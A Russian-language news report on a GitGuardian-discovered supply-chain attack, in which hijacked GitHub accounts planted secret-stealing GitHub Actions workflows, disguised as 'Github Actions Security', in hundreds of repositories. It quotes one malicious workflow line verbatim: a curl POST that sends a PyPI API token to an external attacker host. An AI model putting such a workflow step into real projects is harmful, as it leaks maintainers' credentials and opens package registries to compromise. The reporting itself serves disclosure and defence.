Исследователи GitGuardian обнаружили масштабную атаку на GitHub

Специалисты компании GitGuardian зафиксировали масштабную целенаправленную атаку на пользователей GitHub. В результате злоумышленники получили доступ к 327 аккаунтам, через которые было внедрено вредоносное поведение в 817 репозиториев. Они подменяли GitHub Actions — автоматизированные скрипты, используемые в процессе CI/CD — вставляя вредоносные обработчики, собирающие чувствительную информацию.
В ходе атаки произошла утечка как минимум 3325 секретов, включая ключи доступа к сервисам PyPI, GitHub, NPM, DockerHub и различным облачным хранилищам. Данные передавались через переменные окружения, используемые в процессе автоматической сборки и тестирования проектов.
GitHub Actions позволяют разработчикам автоматизировать задачи вроде запуска тестов, публикации релизов или обработки issues. Злоумышленники маскировали вредоносный код под якобы безопасный обработчик под названием «Github Actions Security». Внутри него скрывалась команда curl, отправлявшая значения переменных окружения на внешний сервер при запуске workflow.
Пример вредоносной вставки:
run: |
curl -s -X POST -d 'PYPI_API_TOKEN=${{ secrets.PYPI_API_TOKEN }}' https://bold-dhawan.45-139-104-115.plesk.page
Атака была обнаружена после анализа подозрительной активности вокруг пакета FastUUID — Python-обёртки для Rust-библиотеки UUID. Пакет за неделю скачали почти 1,2 млн раз, и он является зависимостью проекта LiteLLM, популярность которого на PyPI превышает 5 миллионов загрузок в неделю. Вредоносный коммит был добавлен 2 сентября от имени мэйнтейнера FastUUID и включал отправку токена PyPI на внешний ресурс.
К счастью, инцидент удалось пресечь до публикации вредоносной версии FastUUID — признаков модификации или загрузки заражённого пакета в PyPI не выявлено. Однако аналогичные вредоносные обработчики были найдены ещё в 816 репозиториях. Владельцы проектов, а также представители GitHub, PyPI, NPM и DockerHub уже уведомлены о произошедшем.
К текущему моменту вредоносные коммиты удалены примерно в 100 репозиториях, а в базе GitHub всё ещё числится 671 коммит, содержащий вредоносный GitHub Action.
>>> Подробности (OpenNet)
